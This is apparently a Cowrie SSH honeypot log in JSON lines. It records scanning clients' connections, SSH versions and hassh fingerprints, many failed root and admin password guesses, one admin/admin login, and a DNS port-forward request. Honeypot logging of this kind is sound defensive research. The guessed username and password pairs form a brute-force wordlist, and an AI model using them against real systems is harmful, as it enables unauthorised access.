{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:33:17.583294Z","src_ip":"103.176.20.57","session":"b87fab700a3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fynjybj","message":"login attempt [root/fynjybj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:33:18.375780Z","src_ip":"103.176.20.57","session":"b87fab700a3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":41382,"dst_ip":"10.17.0.5","dst_port":22,"session":"772d3357ad90","protocol":"ssh","message":"New connection: 85.11.167.46:41382 (10.17.0.5:22) [session: 772d3357ad90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:33:19.007205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:33:19.012250Z","src_ip":"85.11.167.46","session":"772d3357ad90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:33:19.099158Z","src_ip":"85.11.167.46","session":"772d3357ad90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:33:19.356592Z","src_ip":"85.11.167.46","session":"772d3357ad90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:33:19.647573Z","src_ip":"103.176.20.57","session":"b87fab700a3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:33:20.444016Z","src_ip":"85.11.167.46","session":"772d3357ad90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63988,"dst_ip":"10.17.0.5","dst_port":22,"session":"e51bf656f536","protocol":"ssh","message":"New connection: 87.251.64.176:63988 (10.17.0.5:22) [session: e51bf656f536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:33:47.921799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:33:47.926156Z","src_ip":"87.251.64.176","session":"e51bf656f536","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:33:48.021284Z","src_ip":"87.251.64.176","session":"e51bf656f536","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:33:48.310640Z","src_ip":"87.251.64.176","session":"e51bf656f536","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:33:48.409583Z","session":"e51bf656f536","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:33:48.508023Z","src_ip":"87.251.64.176","session":"e51bf656f536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:33:48.606390Z","src_ip":"87.251.64.176","session":"e51bf656f536","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":45992,"dst_ip":"159.203.135.109","dst_port":22,"session":"aaa95565e0b3","protocol":"ssh","message":"New connection: 147.45.197.250:45992 (159.203.135.109:22) [session: aaa95565e0b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:34:21.094652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:34:21.098428Z","src_ip":"147.45.197.250","session":"aaa95565e0b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:34:21.182473Z","src_ip":"147.45.197.250","session":"aaa95565e0b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jericho","message":"login attempt [root/jericho] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:34:21.433664Z","src_ip":"147.45.197.250","session":"aaa95565e0b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:34:22.520746Z","src_ip":"147.45.197.250","session":"aaa95565e0b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":41049,"dst_ip":"10.17.0.5","dst_port":22,"session":"16a65d246d48","protocol":"ssh","message":"New connection: 2.57.121.112:41049 (10.17.0.5:22) [session: 16a65d246d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:34:40.872771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:34:40.879293Z","src_ip":"2.57.121.112","session":"16a65d246d48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:34:40.984901Z","src_ip":"2.57.121.112","session":"16a65d246d48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040391","message":"login attempt [admin/040391] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:34:41.459435Z","src_ip":"2.57.121.112","session":"16a65d246d48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":57466,"dst_ip":"10.17.0.5","dst_port":22,"session":"33a6b0c8a69d","protocol":"ssh","message":"New connection: 109.172.54.111:57466 (10.17.0.5:22) [session: 33a6b0c8a69d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:34:42.036524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:34:42.060881Z","src_ip":"109.172.54.111","session":"33a6b0c8a69d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:34:42.138350Z","src_ip":"109.172.54.111","session":"33a6b0c8a69d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04021969","message":"login attempt [admin/04021969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:34:42.563624Z","src_ip":"2.57.121.112","session":"16a65d246d48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"babylon","message":"login attempt [root/babylon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:34:42.764446Z","src_ip":"109.172.54.111","session":"33a6b0c8a69d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040171","message":"login attempt [admin/040171] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:34:43.711519Z","src_ip":"2.57.121.112","session":"16a65d246d48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:34:43.867738Z","src_ip":"109.172.54.111","session":"33a6b0c8a69d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0327","message":"login attempt [admin/0327] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:34:44.814395Z","src_ip":"2.57.121.112","session":"16a65d246d48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03121971","message":"login attempt [admin/03121971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:34:45.919308Z","src_ip":"2.57.121.112","session":"16a65d246d48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:34:47.022372Z","src_ip":"2.57.121.112","session":"16a65d246d48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":33502,"dst_ip":"159.203.135.109","dst_port":22,"session":"79476e410a54","protocol":"ssh","message":"New connection: 103.173.227.57:33502 (159.203.135.109:22) [session: 79476e410a54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:36:13.459544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:36:13.464722Z","src_ip":"103.173.227.57","session":"79476e410a54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:36:13.707935Z","src_ip":"103.173.227.57","session":"79476e410a54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bubble","message":"login attempt [root/bubble] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:36:14.437630Z","src_ip":"103.173.227.57","session":"79476e410a54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:36:15.683405Z","src_ip":"103.173.227.57","session":"79476e410a54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":38388,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbfb9e492df9","protocol":"ssh","message":"New connection: 46.19.67.181:38388 (10.17.0.5:22) [session: cbfb9e492df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:36:22.825909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:36:22.830798Z","src_ip":"46.19.67.181","session":"cbfb9e492df9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:36:22.949906Z","src_ip":"46.19.67.181","session":"cbfb9e492df9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"poiuytre","message":"login attempt [root/poiuytre] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:36:23.311707Z","src_ip":"46.19.67.181","session":"cbfb9e492df9","protocol":"ssh"}
